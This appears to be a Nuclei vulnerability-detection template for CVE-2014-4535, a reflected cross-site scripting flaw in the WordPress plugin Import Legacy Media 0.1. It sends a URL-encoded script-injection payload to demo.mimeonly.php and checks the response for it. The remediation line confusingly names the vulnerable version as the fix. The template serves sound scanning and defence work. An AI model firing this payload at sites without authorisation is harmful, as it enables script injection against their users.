Import Legacy Media <= 0.1 - Cross-Site Scripting

id: CVE-2014-4535

info:
  name: Import Legacy Media <= 0.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in the Import Legacy Media plugin 0.1 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the filename parameter to getid3/demos/demo.mimeonly.php.
  impact: |
    Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.
  remediation: |
    Update to the latest version of the Import Legacy Media plugin (0.1 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/7fb78d3c-f784-4630-ad92-d33e5de814fd
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4535
    - http://codevigilant.com/disclosure/wp-plugin-import-legacy-media-a3-cross-site-scripting-xss
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2014-4535
    cwe-id: CWE-79
    epss-score: 0.00135
    epss-percentile: 0.48664
    cpe: cpe:2.3:a:import_legacy_media_project:import_legacy_media:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "import_legacy_media_project"
    product: "import_legacy_media"
    framework: wordpress
  tags: cve2014,cve,wpscan,wordpress,wp-plugin,xss,unauth,import_legacy_media_project
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/import-legacy-media/'

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/import-legacy-media/getid3/demos/demo.mimeonly.php?filename=filename%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'></script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a00463044022019cf3e791bbae0f3f2e1eb697da72e6a37013d18a36e3798631582753c15668302206547f6bb88ad146e68edea57b590269baaa8acd02b511b984549cb0a27577867:922c64590222798bb761d5b6d8e72950